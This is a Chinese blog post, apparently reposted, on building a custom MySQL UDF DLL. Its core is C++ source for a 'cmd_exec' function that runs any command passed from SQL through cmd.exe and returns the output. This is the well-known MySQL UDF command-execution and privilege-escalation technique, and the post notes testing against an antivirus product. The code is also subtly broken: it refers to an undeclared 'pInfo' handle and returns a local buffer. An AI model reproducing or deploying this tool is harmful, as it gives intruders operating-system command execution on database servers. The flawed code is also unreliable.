Mysql udf插件自定义实现

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Mysql udf插件自定义实现相关的知识,希望对你有一定的参考价值。

UDF官方文档:https://dev.mysql.com/doc/refman/5.7/en/adding-udf.html

参考文章:https://blog.csdn.net/cssxn/article/details/89497942

UDF的调用过程:

如果需要内存,则必须将其放入 xxx_init() 并释放 xxx_deinit()。

那么也就是在创建udf的dll的时候要实现的是XXX_INIT 和 XXX_DEINIT 这两个函数,这里必须要实现的是XXX_INIT,因为需要该函数为我们分配内存空间

实现模板:

my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message);

void xxx_deinit(UDF_INIT *initid);

由于用到的udf调用结果都是字符串,那么这里返回结果就声明为char*了

用到的模板则是如下:

char *xxx(UDF_INIT *initid, UDF_ARGS *args,
          char *result, unsigned long *length,
          char *is_null, char *error);

其中UDF_ARGS的结构体如下:

typedef struct st_udf_args
{
  unsigned int arg_count;		/* Number of arguments */
  enum Item_result *arg_type;		/* Pointer to item_results */
  char **args;				/* Pointer to argument */
  unsigned long *lengths;		/* Length of string arguments */
  char *maybe_null;			/* Set to 1 for all maybe_null args */
  char **attributes;                    /* Pointer to attribute name */
  unsigned long *attribute_lengths;     /* Length of attribute arguments */
  void *extension;
} UDF_ARGS;

UDF_ARGS结构体中类型为char**的属性attributes为如下,这个可以用来拿到获取参数的值!

调用UDF的实现模板就是如下:

//初始化
my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message);

//自定义函数
char *xxx(UDF_INIT *initid, UDF_ARGS *args,
          char *result, unsigned long *length,
          char *is_null, char *error);

//反初始化
void xxx_deinit(UDF_INIT *initid);

代码实现:

原作者的代码实现中只进行了一次的数据获取和乱码,这里改成多次获取,修复下乱码,其他的没啥问题!

#include "stdafx.h"
#include "windows.h"
#include <stdio.h>
#include "./include/mysql.h"


extern "C"  __declspec(dllexport) my_bool cmd_exec_init()
{
	return 0;
}


extern "C"  __declspec(dllexport) char* cmd_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error)
{

	
	HANDLE hReadPipe = NULL;
	HANDLE hWritePipe = NULL;
	SECURITY_ATTRIBUTES sa;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES); // 结构体的大小,可用SIZEOF取得
	sa.lpSecurityDescriptor = NULL;//安全描述符
	sa.bInheritHandle = TRUE;; // 安全描述的对象能否被新创建??的进程继承

	// Create anoymous pipe:
	if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0) == NULL)
	{
		return "Create anoymous pipe failed\\n";
	}

	// Create Child Process:
	PROCESS_INFORMATION pi = { 0 };
	STARTUPINFO si = { 0 };
	si.cb = sizeof(STARTUPINFO);
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.hStdOutput = hWritePipe;
	si.hStdError = hWritePipe;

	// get 
	TCHAR cmd_buf[4096];
	memset(cmd_buf, 0, 4096);
	wsprintf(cmd_buf,TEXT("/c %s"), args->attributes[0], args->attribute_lengths[0]);

	if (!CreateProcess(TEXT("c:\\\\windows\\\\system32\\\\cmd.exe"), cmd_buf, NULL, NULL, TRUE, 0, NULL, NULL, &si,&pi))
	{
		CloseHandle(hWritePipe);
		CloseHandle(hReadPipe);
		return "Create child process failed!\\n";
	}
	CloseHandle(hWritePipe);

	// command buffer
	TCHAR szBuffer[4096];
	TCHAR tempBuffer[1024];
	memset(szBuffer, 0, 4096);
	memset(tempBuffer, 0, 1024);
	DWORD dwBytesRead = 0;
	while (PeekNamedPipe(hReadPipe, tempBuffer, 1024, &dwBytesRead, NULL, NULL))
	{
		if (dwBytesRead)
		{
			if(ReadFile(hReadPipe,tempBuffer,dwBytesRead,&dwBytesRead,NULL) == NULL){
				break;
			}
			strcat(szBuffer,tempBuffer);
		}
	}
	WaitForSingleObject(pInfo.hProcess, INFINITE);
	CloseHandle(hReadPipe);
	return szBuffer;
}



BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
	)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

可以看到导出函数为两个:

命令执行效果:

火绒测试的效果:

总结:

1、关于命令执行,定义的时候好像一定需要定义为cmd_exec名称

2、通过安全描述符的继承属性为TRUE来实现子进程继承父进程的句柄表获取匿名管道的句柄,从而来实现父子进程的数据通信

以上是关于Mysql udf插件自定义实现的主要内容,如果未能解决你的问题,请参考以下文章

第三方组件提权-Mysql UDF提权

MySQL UDF 提权

VSCode插件开发全攻略代码片段设置自定义欢迎页

Hive UDF 第一篇:怎么实现自己的 hive 自定义函数

每日一问-什么是Mysql数据库的UDF提权?

hive自定义UDF函数,步骤详解